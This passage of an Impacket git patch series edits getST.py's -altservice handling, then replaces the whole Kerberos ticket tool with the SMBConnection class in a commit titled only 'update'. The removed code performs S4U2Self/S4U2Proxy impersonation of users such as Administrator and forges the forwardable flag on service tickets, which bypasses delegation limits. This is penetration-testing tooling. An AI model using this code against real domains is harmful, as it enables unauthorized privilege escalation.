19 Feb 2022 13:26:16 +0100 Subject: [PATCH 042/163] Handling exception where `-altservice` is supplied when `-spn` is not --- examples/getST.py | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index a7ca923ea..12ba1e4d8 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -93,9 +93,18 @@ def saveTicket(self, ticket, sessionKey): logging.debug("More than one credentials in cache, modifying all of them") for creds in ccache.credentials: sname = creds['server'].prettyPrint() - service_class = sname.split(b'@')[0].split(b'/')[0].decode('utf-8') - hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') - service_realm = sname.split(b'@')[1].decode('utf-8') + if b'/' not in sname: + logging.debug("Original service is not formatted as usual (i.e. CLASS/HOSTNAME@REALM), automatically filling the substitution service will fail") + logging.debug("Original service is: %s" % sname.decode('utf-8')) + if '/' not in self.__options.altservice: + raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") + service_class = "" + hostname = sname.split(b'@')[0].decode('utf-8') + service_realm = sname.split(b'@')[1].decode('utf-8') + else: + service_class = sname.split(b'@')[0].split(b'/')[0].decode('utf-8') + hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') + service_realm = sname.split(b'@')[1].decode('utf-8') if '@' in self.__options.altservice: new_service_realm = self.__options.altservice.split('@')[1].upper() if not '.' in new_service_realm: From e93b27315b7f803c0568d493c8af431cc651d7bc Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sat, 19 Feb 2022 22:59:32 +0800 Subject: [PATCH 043/163] update --- examples/getST.py | 1666 ++++++++++++++++++++++++++------------------- 1 file changed, 968 insertions(+), 698 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index f297f5878..eebfe7ac8 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,759 +1,1029 @@ -#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: -# Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache -# If the account has constrained delegation (with protocol transition) privileges you will be able to use -# the -impersonate switch to request the ticket on behalf other user (it will use S4U2Self/S4U2Proxy to -# request the ticket.) +# Wrapper class for SMB1/2/3 so it's transparent for the client. +# You can still play with the low level methods (version dependent) +# by calling getSMBServer() # -# Similar feature has been implemented already by Benjamin Delphi (@gentilkiwi) in Kekeo (s4u) -# -# Examples: -# ./getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user -# or -# If you have tickets cached (run klist to verify) the script will use them -# ./getST.py -k -spn cifs/contoso-dc contoso.com/user -# Be sure tho, that the cached TGT has the forwardable flag set (klist -f). getTGT.py will ask forwardable tickets -# by default. -# -# Also, if the account is configured with constrained delegation (with protocol transition) you can request -# service tickets for other users, assuming the target SPN is allowed for delegation: -# ./getST.py -k -impersonate Administrator -spn cifs/contoso-dc contoso.com/user -# -# The output of this script will be a service ticket for the Administrator user. -# -# Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit. -# -# Author: -# Alberto Solino (@agsolino) +# Author: Alberto Solino (@agsolino) # -from __future__ import division -from __future__ import print_function -import argparse -import datetime -import logging -import os -import random -import struct -import sys -from binascii import hexlify, unhexlify -from six import b - -from pyasn1.codec.der import decoder, encoder -from pyasn1.type.univ import noValue - -from impacket import version -from impacket.examples import logger -from impacket.examples.utils import parse_credentials -from impacket.krb5 import constants -from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ - Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart -from impacket.krb5.ccache import CCache -from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype -from impacket.krb5.constants import TicketFlags, encodeFlags -from impacket.krb5.kerberosv5 import getKerberosTGS -from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive -from impacket.krb5.types import Principal, KerberosTime, Ticket -from impacket.ntlm import compute_nthash -from impacket.winregistry import hexdump - - -class GETST: - def __init__(self, target, password, domain, options): - self.__password = password - self.__user = target - self.__domain = domain - self.__lmhash = '' - self.__nthash = '' - self.__aesKey = options.aesKey - self.__options = options - self.__kdcHost = options.dc_ip - self.__force_forwardable = options.force_forwardable - self.__additional_ticket = options.additional_ticket - self.__saveFileName = None - if options.hashes is not None: - self.__lmhash, self.__nthash = options.hashes.split(':') - - def saveTicket(self, ticket, sessionKey, alt_service=None): - logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) - ccache = CCache() - - ccache.fromTGS(ticket, sessionKey, sessionKey, alt_service) - ccache.saveFile(self.__saveFileName + '.ccache') - - def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): - if not os.path.isfile(additional_ticket_path): - logging.error("Ticket %s doesn't exist" % additional_ticket_path) - exit(0) +import ntpath +import socket + +from impacket import smb, smb3, nmb, nt_errors, LOG +from impacket.ntlm import compute_lmhash, compute_nthash +from impacket.smb3structs import SMB2Packet, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, GENERIC_ALL, FILE_SHARE_READ, \ + FILE_SHARE_WRITE, FILE_SHARE_DELETE, FILE_NON_DIRECTORY_FILE, FILE_OVERWRITE_IF, FILE_ATTRIBUTE_NORMAL, \ + SMB2_IL_IMPERSONATION, SMB2_OPLOCK_LEVEL_NONE, FILE_READ_DATA , FILE_WRITE_DATA, FILE_OPEN, GENERIC_READ, GENERIC_WRITE, \ + FILE_OPEN_REPARSE_POINT, MOUNT_POINT_REPARSE_DATA_STRUCTURE, FSCTL_SET_REPARSE_POINT, SMB2_0_IOCTL_IS_FSCTL, \ + MOUNT_POINT_REPARSE_GUID_DATA_STRUCTURE, FSCTL_DELETE_REPARSE_POINT, FSCTL_SRV_ENUMERATE_SNAPSHOTS, SRV_SNAPSHOT_ARRAY, \ + FILE_SYNCHRONOUS_IO_NONALERT, FILE_READ_EA, FILE_READ_ATTRIBUTES, READ_CONTROL, SYNCHRONIZE, SMB2_DIALECT_311 + + +# So the user doesn't need to import smb, the smb3 are already in here +SMB_DIALECT = smb.SMB_DIALECT + +class SMBConnection: + """ + SMBConnection class + + :param string remoteName: name of the remote host, can be its NETBIOS name, IP or *\\*SMBSERVER*. If the later, + and port is 139, the library will try to get the target's server name. + :param string remoteHost: target server's remote address (IPv4, IPv6) or FQDN + :param string/optional myName: client's NETBIOS name + :param integer/optional sess_port: target port to connect + :param integer/optional timeout: timeout in seconds when receiving packets + :param optional preferredDialect: the dialect desired to talk with the target server. If not specified the highest + one available will be used + :param optional boolean manualNegotiate: the user manually performs SMB_COM_NEGOTIATE + + :return: a SMBConnection instance, if not raises a SessionError exception + """ + + def __init__(self, remoteName='', remoteHost='', myName=None, sess_port=nmb.SMB_SESSION_PORT, timeout=60, preferredDialect=None, + existingConnection=None, manualNegotiate=False): + + self._SMBConnection = 0 + self._dialect = '' + self._nmbSession = 0 + self._sess_port = sess_port + self._myName = myName + self._remoteHost = remoteHost + self._remoteName = remoteName + self._timeout = timeout + self._preferredDialect = preferredDialect + self._existingConnection = existingConnection + self._manualNegotiate = manualNegotiate + self._doKerberos = False + self._kdcHost = None + self._useCache = True + self._ntlmFallback = True + + if existingConnection is not None: + # Existing Connection must be a smb or smb3 instance + assert ( isinstance(existingConnection,smb.SMB) or isinstance(existingConnection, smb3.SMB3)) + self._SMBConnection = existingConnection + self._preferredDialect = self._SMBConnection.getDialect() + self._doKerberos = self._SMBConnection.getKerberos() + return + + ##preferredDialect = smb.SMB_DIALECT + + if manualNegotiate is False: + self.negotiateSession(preferredDialect) + + def negotiateSession(self, preferredDialect=None, + flags1=smb.SMB.FLAGS1_PATHCASELESS | smb.SMB.FLAGS1_CANONICALIZED_PATHS, + flags2=smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES, + negoData='\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'): + """ + Perform protocol negotiation + + :param string preferredDialect: the dialect desired to talk with the target server. If None is specified the highest one available will be used + :param string flags1: the SMB FLAGS capabilities + :param string flags2: the SMB FLAGS2 capabilities + :param string negoData: data to be sent as part of the nego handshake + + :return: True + :raise SessionError: if error + """ + + # If port 445 and the name sent is *SMBSERVER we're setting the name to the IP. This is to help some old + # applications still believing + # *SMSBSERVER will work against modern OSes. If port is NETBIOS_SESSION_PORT the user better know about i + # *SMBSERVER's limitations + if self._sess_port == nmb.SMB_SESSION_PORT and self._remoteName == '*SMBSERVER': + self._remoteName = self._remoteHost + elif self._sess_port == nmb.NETBIOS_SESSION_PORT and self._remoteName == '*SMBSERVER': + # If remote name is *SMBSERVER let's try to query its name.. if can't be guessed, continue and hope for the best + nb = nmb.NetBIOS() + try: + res = nb.getnetbiosname(self._remoteHost) + except: + pass + else: + self._remoteName = res + + if self._sess_port == nmb.NETBIOS_SESSION_PORT: + negoData = '\x02NT LM 0.12\x00\x02SMB 2.002\x00' + + hostType = nmb.TYPE_SERVER + if preferredDialect is None: + # If no preferredDialect sent, we try the highest available one. + packet = self.negotiateSessionWildcard(self._myName, self._remoteName, self._remoteHost, self._sess_port, + self._timeout, True, flags1=flags1, flags2=flags2, data=negoData) + if packet[0:1] == b'\xfe': + # Answer is SMB2 packet + self._SMBConnection = smb3.SMB3(self._remoteName, self._remoteHost, self._myName, hostType, + self._sess_port, self._timeout, session=self._nmbSession, + negSessionResponse=SMB2Packet(packet)) + else: + # Answer is SMB packet, sticking to SMBv1 + self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, + self._sess_port, self._timeout, session=self._nmbSession, + negPacket=packet) else: - decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] - logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path) - ccache = CCache.loadFile(additional_ticket_path) - principal = ccache.credentials[0].header['server'].prettyPrint() - creds = ccache.getCredential(principal.decode()) - TGS = creds.toTGS(principal) - - tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] - - if logging.getLogger().level == logging.DEBUG: - logging.debug('TGS_REP') - print(tgs.prettyPrint()) - - if self.__force_forwardable: - # Convert hashes to binary form, just in case we're receiving strings - if isinstance(nthash, str): - try: - nthash = unhexlify(nthash) - except TypeError: - pass - if isinstance(aesKey, str): - try: - aesKey = unhexlify(aesKey) - except TypeError: - pass - - # Compute NTHash and AESKey if they're not provided in arguments - if self.__password != '' and self.__domain != '' and self.__user != '': - if not nthash: - nthash = compute_nthash(self.__password) - if logging.getLogger().level == logging.DEBUG: - logging.debug('NTHash') - print(hexlify(nthash).decode()) - if not aesKey: - salt = self.__domain.upper() + self.__user - aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents - if logging.getLogger().level == logging.DEBUG: - logging.debug('AESKey') - print(hexlify(aesKey).decode()) - - # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys - cipherText = tgs['ticket']['enc-part']['cipher'] - - # Check which cipher was used to encrypt the ticket. It's not always the same - # This determines which of our keys we should use for decryption/re-encryption - newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] - if newCipher.enctype == Enctype.RC4: - key = Key(newCipher.enctype, nthash) - else: - key = Key(newCipher.enctype, aesKey) - - # Decrypt and decode the ticket - # Key Usage 2 - # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or - # application session key), encrypted with the service key - # (section 5.4.2) - plainText = newCipher.decrypt(key, 2, cipherText) - encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] - - # Print the flags in the ticket before modification - logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags'])) - logging.debug('\tService ticket from S4U2self is' - + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') - + ' forwardable') - - # Customize flags the forwardable flag is the only one that really matters - logging.info('\tForcing the service ticket to be forwardable') - # convert to string of bits - flagBits = encTicketPart['flags'].asBinary() - # Set the forwardable flag. Awkward binary string insertion - flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:] - # Overwrite the value with the new bits - encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags - - logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags'])) - logging.debug('\tService ticket now is' - + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') - + ' forwardable') - - # Re-encode and re-encrypt the ticket - # Again, Key Usage 2 - encodedEncTicketPart = encoder.encode(encTicketPart) - cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None) - - # put it back in the TGS - tgs['ticket']['enc-part']['cipher'] = cipherText - - ################################################################################ - # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy - # So here I have a ST for me.. I now want a ST for another service - # Extract the ticket from the TGT - ticketTGT = Ticket() - ticketTGT.from_asn1(decodedTGT['ticket']) - - # Get the service ticket - ticket = Ticket() - ticket.from_asn1(tgs['ticket']) - - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - - opts = list() - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticketTGT.to_asn1) - - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = str(decodedTGT['crealm']) - - clientName = Principal() - clientName.from_asn1(decodedTGT, 'crealm', 'cname') - - seq_set(authenticator, 'cname', clientName.components_to_asn1) - - now = datetime.datetime.utcnow() - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) - - encodedAuthenticator = encoder.encode(authenticator) - - # Key Usage 7 - # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes - # TGS authenticator subkey), encrypted with the TGS session - # key (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) - - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator - - encodedApReq = encoder.encode(apReq) - - tgsReq = TGS_REQ() - - tgsReq['pvno'] = 5 - tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) - tgsReq['padata'] = noValue - tgsReq['padata'][0] = noValue - tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) - tgsReq['padata'][0]['padata-value'] = encodedApReq - - # Add resource-based constrained delegation support - paPacOptions = PA_PAC_OPTIONS() - paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) - - tgsReq['padata'][1] = noValue - tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value - tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) + if preferredDialect == smb.SMB_DIALECT: + self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, + self._sess_port, self._timeout) + elif preferredDialect in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_DIALECT_311]: + self._SMBConnection = smb3.SMB3(self._remoteName, self._remoteHost, self._myName, hostType, + self._sess_port, self._timeout, preferredDialect=preferredDialect) + else: + raise Exception("Unknown dialect %s") + + # propagate flags to the smb sub-object, except for Unicode (if server supports) + # does not affect smb3 objects + if isinstance(self._SMBConnection, smb.SMB): + if self._SMBConnection.get_flags()[1] & smb.SMB.FLAGS2_UNICODE: + flags2 |= smb.SMB.FLAGS2_UNICODE + self._SMBConnection.set_flags(flags1=flags1, flags2=flags2) + + return True + + def negotiateSessionWildcard(self, myName, remoteName, remoteHost, sess_port, timeout, extended_security=True, flags1=0, + flags2=0, data=None): + # Here we follow [MS-SMB2] negotiation handshake trying to understand what dialects + # (including SMB1) is supported on the other end. + + if not myName: + myName = socket.gethostname() + i = myName.find('.') + if i > -1: + myName = myName[:i] + + tries = 0 + smbp = smb.NewSMBPacket() + smbp['Flags1'] = flags1 + # FLAGS2_UNICODE is required by some stacks to continue, regardless of subsequent support + smbp['Flags2'] = flags2 | smb.SMB.FLAGS2_UNICODE + resp = None + while tries < 2: + self._nmbSession = nmb.NetBIOSTCPSession(myName, remoteName, remoteHost, nmb.TYPE_SERVER, sess_port, + timeout) + + negSession = smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE) + if extended_security is True: + smbp['Flags2'] |= smb.SMB.FLAGS2_EXTENDED_SECURITY + negSession['Data'] = data + smbp.addCommand(negSession) + self._nmbSession.send_packet(smbp.getData()) + + try: + resp = self._nmbSession.recv_packet(timeout) + break + except nmb.NetBIOSError: + # OSX Yosemite asks for more Flags. Let's give it a try and see what happens + smbp['Flags2'] |= smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | smb.SMB.FLAGS2_UNICODE + smbp['Data'] = [] + + tries += 1 + + if resp is None: + # No luck, quitting + raise Exception('No answer!') + + return resp.get_trailer() + - reqBody = seq_set(tgsReq, 'req-body') - - opts = list() - # This specified we're doing S4U - opts.append(constants.KDCOptions.cname_in_addl_tkt.value) - opts.append(constants.KDCOptions.canonicalize.value) - opts.append(constants.KDCOptions.forwardable.value) - opts.append(constants.KDCOptions.renewable.value) + def getNMBServer(self): + return self._nmbSession - reqBody['kdc-options'] = constants.encodeFlags(opts) - service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) - seq_set(reqBody, 'sname', service2.components_to_asn1) - reqBody['realm'] = self.__domain + def getSMBServer(self): + """ + returns the SMB/SMB3 instance being used. Useful for calling low level methods + """ + return self._SMBConnection - myTicket = ticket.to_asn1(TicketAsn1()) - seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) + def getDialect(self): + return self._SMBConnection.getDialect() - now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + def getServerName(self): + return self._SMBConnection.get_server_name() - reqBody['till'] = KerberosTime.to_asn1(now) - reqBody['nonce'] = random.getrandbits(31) - seq_set_iter(reqBody, 'etype', - ( - int(constants.EncryptionTypes.rc4_hmac.value), - int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), - int(constants.EncryptionTypes.des_cbc_md5.value), - int(cipher.enctype) - ) - ) - message = encoder.encode(tgsReq) + def getClientName(self): + return self._SMBConnection.get_client_name() - logging.info('\tRequesting S4U2Proxy') - r = sendReceive(message, self.__domain, kdcHost) + def getRemoteHost(self): + return self._SMBConnection.get_remote_host() - tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + def getRemoteName(self): + return self._SMBConnection.get_remote_name() - cipherText = tgs['enc-part']['cipher'] + def setRemoteName(self, name): + return self._SMBConnection.set_remote_name(name) - # Key Usage 8 - # TGS-REP encrypted part (includes application session - # key), encrypted with the TGS session key (Section 5.4.2) - plainText = cipher.decrypt(sessionKey, 8, cipherText) + def getServerDomain(self): + return self._SMBConnection.get_server_domain() - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + def getServerDNSDomainName(self): + return self._SMBConnection.get_server_dns_domain_name() - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + def getServerDNSHostName(self): + return self._SMBConnection.get_server_dns_host_name() + + def getServerOS(self): + return self._SMBConnection.get_server_os() + + def getServerOSMajor(self): + return self._SMBConnection.get_server_os_major() + + def getServerOSMinor(self): + return self._SMBConnection.get_server_os_minor() + + def getServerOSBuild(self): + return self._SMBConnection.get_server_os_build() + + def doesSupportNTLMv2(self): + return self._SMBConnection.doesSupportNTLMv2() + + def isLoginRequired(self): + return self._SMBConnection.is_login_required() + + def isSigningRequired(self): + return self._SMBConnection.is_signing_required() + + def getCredentials(self): + return self._SMBConnection.getCredentials() + + def getIOCapabilities(self): + return self._SMBConnection.getIOCapabilities() + + def login(self, user, password, domain = '', lmhash = '', nthash = '', ntlmFallback = True): + """ + logins into the target system + + :param string user: username + :param string password: password for the user + :param string domain: domain where the account is valid for + :param string lmhash: LMHASH used to authenticate using hashes (password is not used) + :param string nthash: NTHASH used to authenticate using hashes (password is not used) + :param bool ntlmFallback: If True it will try NTLMv1 authentication if NTLMv2 fails. Only available for SMBv1 + + :return: None + :raise SessionError: if error + """ + self._ntlmFallback = ntlmFallback + try: + if self.getDialect() == smb.SMB_DIALECT: + return self._SMBConnection.login(user, password, domain, lmhash, nthash, ntlmFallback) + else: + return self._SMBConnection.login(user, password, domain, lmhash, nthash) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + + def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, + TGS=None, useCache=True): + """ + logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. + + :param string user: username + :param string password: password for the user + :param string domain: domain where the account is valid for (required) + :param string lmhash: LMHASH used to authenticate using hashes (password is not used) + :param string nthash: NTHASH used to authenticate using hashes (password is not used) + :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication + :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) + :param struct TGT: If there's a TGT available, send the structure here and it will be used + :param struct TGS: same for TGS. See smb3.py for the format + :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False + + :return: None + :raise SessionError: if error + """ + import os + from impacket.krb5.ccache import CCache + from impacket.krb5.kerberosv5 import KerberosError + from impacket.krb5 import constants + + self._kdcHost = kdcHost + self._useCache = useCache + + if TGT is not None or TGS is not None: + useCache = False + + if useCache is True: + try: + ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) + except: + # No cache present + pass + else: + LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) + # retrieve domain information from CCache file if needed + if domain == '': + domain = ccache.principal.realm['data'].decode('utf-8') + LOG.debug('Domain retrieved from CCache: %s' % domain) + + principal = 'cifs/%s@%s' % (self.getRemoteName().upper(), domain.upper()) + creds = ccache.getCredential(principal) + if creds is None: + # Let's try for the TGT and go from there + principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper()) + creds = ccache.getCredential(principal) + if creds is not None: + TGT = creds.toTGT() + LOG.debug('Using TGT from cache') + else: + LOG.debug("No valid credentials found in cache. ") + else: + TGS = creds.toTGS(principal) + LOG.debug('Using TGS from cache') + + # retrieve user information from CCache file if needed + if user == '' and creds is not None: + user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8') + LOG.debug('Username retrieved from CCache: %s' % user) + elif user == '' and len(ccache.principal.components) > 0: + user = ccache.principal.components[0]['data'].decode('utf-8') + LOG.debug('Username retrieved from CCache: %s' % user) + + while True: + try: + if self.getDialect() == smb.SMB_DIALECT: + return self._SMBConnection.kerberos_login(user, password, domain, lmhash, nthash, aesKey, kdcHost, + TGT, TGS) + return self._SMBConnection.kerberosLogin(user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT, + TGS) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + except KerberosError as e: + if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: + # We might face this if the target does not support AES + # So, if that's the case we'll force using RC4 by converting + # the password to lm/nt hashes and hope for the best. If that's already + # done, byebye. + if lmhash == '' and nthash == '' and (aesKey == '' or aesKey is None) and TGT is None and TGS is None: + lmhash = compute_lmhash(password) + nthash = compute_nthash(password) + else: + raise e + else: + raise e - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] + def isGuestSession(self): + try: + return self._SMBConnection.isGuestSession() + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) - return r, cipher, sessionKey, newSessionKey + def logoff(self): + try: + return self._SMBConnection.logoff() + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + + + def connectTree(self,share): + if self.getDialect() == smb.SMB_DIALECT: + # If we already have a UNC we do nothing. + if ntpath.ismount(share) is False: + # Else we build it + share = ntpath.basename(share) + share = '\\\\' + self.getRemoteHost() + '\\' + share + try: + return self._SMBConnection.connect_tree(share) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) - def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, s4u2self=False, alt_service=None): - decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] - # Extract the ticket from the TGT - ticket = Ticket() - ticket.from_asn1(decodedTGT['ticket']) - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + def disconnectTree(self, treeId): + try: + return self._SMBConnection.disconnect_tree(treeId) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + + + def listShares(self): + """ + get a list of available shares at the connected target + + :return: a list containing dict entries for each share + :raise SessionError: if error + """ + # Get the shares through RPC + from impacket.dcerpc.v5 import transport, srvs + rpctransport = transport.SMBTransport(self.getRemoteName(), self.getRemoteHost(), filename=r'\srvsvc', + smb_connection=self) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + resp = srvs.hNetrShareEnum(dce, 1) + return resp['InfoStruct']['ShareInfo']['Level1']['Buffer'] + + def listPath(self, shareName, path, password = None): + """ + list the files/directories under shareName/path + + :param string shareName: a valid name for the share where the files/directories are going to be searched + :param string path: a base path relative to shareName + :param string password: the password for the share + + :return: a list containing smb.SharedFile items + :raise SessionError: if error + """ - opts = list() - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticket.to_asn1) + try: + return self._SMBConnection.list_path(shareName, path, password) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + + def createFile(self, treeId, pathName, desiredAccess=GENERIC_ALL, + shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OVERWRITE_IF, + fileAttributes=FILE_ATTRIBUTE_NORMAL, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, + oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): + """ + Creates a remote file + + :param HANDLE treeId: a valid handle for the share where the file is to be created + :param string pathName: the path name of the file to create + :param int desiredAccess: The level of access that is required, as specified in https://msdn.microsoft.com/en-us/library/cc246503.aspx + :param int shareMode: Specifies the sharing mode for the open. + :param int creationOption: Specifies the options to be applied when creating or opening the file. + :param int creationDisposition: Defines the action the server MUST take if the file that is specified in the name + field already exists. + :param int fileAttributes: This field MUST be a combination of the values specified in [MS-FSCC] section 2.6, and MUST NOT include any values other than those specified in that section. + :param int impersonationLevel: This field specifies the impersonation level requested by the application that is issuing the create request. + :param int securityFlags: This field MUST NOT be used and MUST be reserved. The client MUST set this to 0, and the server MUST ignore it. + :param int oplockLevel: The requested oplock level + :param createContexts: A variable-length attribute that is sent with an SMB2 CREATE Request or SMB2 CREATE Response that either gives extra information about how the create will be processed, or returns extra information about how the create was processed. + + :return: a valid file descriptor + :raise SessionError: if error + """ + if self.getDialect() == smb.SMB_DIALECT: + _, flags2 = self._SMBConnection.get_flags() + + pathName = pathName.replace('/', '\\') + packetPathName = pathName.encode('utf-16le') if flags2 & smb.SMB.FLAGS2_UNICODE else pathName + + ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) + ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters() + ntCreate['Data'] = smb.SMBNtCreateAndX_Data(flags=flags2) + ntCreate['Parameters']['FileNameLength']= len(packetPathName) + ntCreate['Parameters']['AccessMask'] = desiredAccess + ntCreate['Parameters']['FileAttributes']= fileAttributes + ntCreate['Parameters']['ShareAccess'] = shareMode + ntCreate['Parameters']['Disposition'] = creationDisposition + ntCreate['Parameters']['CreateOptions'] = creationOption + ntCreate['Parameters']['Impersonation'] = impersonationLevel + ntCreate['Parameters']['SecurityFlags'] = securityFlags + ntCreate['Parameters']['CreateFlags'] = 0x16 + ntCreate['Data']['FileName'] = packetPathName + + if flags2 & smb.SMB.FLAGS2_UNICODE: + ntCreate['Data']['Pad'] = 0x0 + + if createContexts is not None: + LOG.error("CreateContexts not supported in SMB1") - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = str(decodedTGT['crealm']) + try: + return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + else: + try: + return self._SMBConnection.create(treeId, pathName, desiredAccess, shareMode, creationOption, + creationDisposition, fileAttributes, impersonationLevel, + securityFlags, oplockLevel, createContexts) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + + def openFile(self, treeId, pathName, desiredAccess=FILE_READ_DATA | FILE_WRITE_DATA, shareMode=FILE_SHARE_READ, + creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OPEN, + fileAttributes=FILE_ATTRIBUTE_NORMAL, 